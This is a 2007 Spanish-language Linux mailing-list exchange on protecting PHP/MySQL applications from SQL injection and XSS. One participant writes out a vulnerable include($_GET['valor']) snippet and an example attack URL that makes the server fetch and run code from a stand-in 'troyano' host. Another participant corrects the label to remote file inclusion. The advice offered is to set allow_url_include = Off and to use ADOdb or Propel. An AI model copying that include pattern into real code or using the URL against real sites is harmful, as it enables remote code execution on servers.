Evitar sql injection y xss
Claudio Salazar
csalazar en alumnos.inf.utfsm.cl
Vie Sep 21 14:37:41 CLT 2007
Rodrigo Fuentealba escribió:
> El 20/09/07, Raul Perez <raperez en cwpanama.net> escribió:
>
>> Salud a todos
>>
>> Tengo mysql 5 y phpp 5 en un servidor con centos
>> La pregunta es que codigo han implementado ustedes para
>> asegurar sus aplicaciones en php para evitar injection de sql y xss
>>
>
> Para prevenir XSS, simplemente nunca hagas algo como esto:
>
> <?php
>
> include($_GET['valor']);
>
> ?>
>
Eso es RFI ( Remote File Inclusion ), no XSS.
> Porque con eso yo podría poner una URL como:
>
> http://www.victima.com/index.php?valor=http://www.troyano.com/troyano.txt
>
> Y el código que tenga en troyano.txt se va a ejecutar en tu PC, lo quieras o no.
>
> Una manera de impedir algo así es, en PHP 5, poner lo siguiente en tu
> archivo php.ini
>
> allow_url_include = Off
>
>
>> Intente con mysql real escape string pero no se por que no me funciona
>>
>> Puedo desarrollar una funcion pero me da temor de que deje algun ueco de
>> seguridad
>>
>
> Para prevenir inyecciones SQL, no uses tus propias funciones. Mira
> ADOdb (http://adodb.sourceforge.net) y Propel
> (http://propel.phpdb.org) que son dos programas que puedes usar dentro
> de tus programas para manejar tus bases de datos, que evitan las
> inyecciones de código SQL.
>
> A pesar de ser más difícil, a mí me gustó más Propel que ADOdb.
>
>
Más información sobre la lista de distribución Linux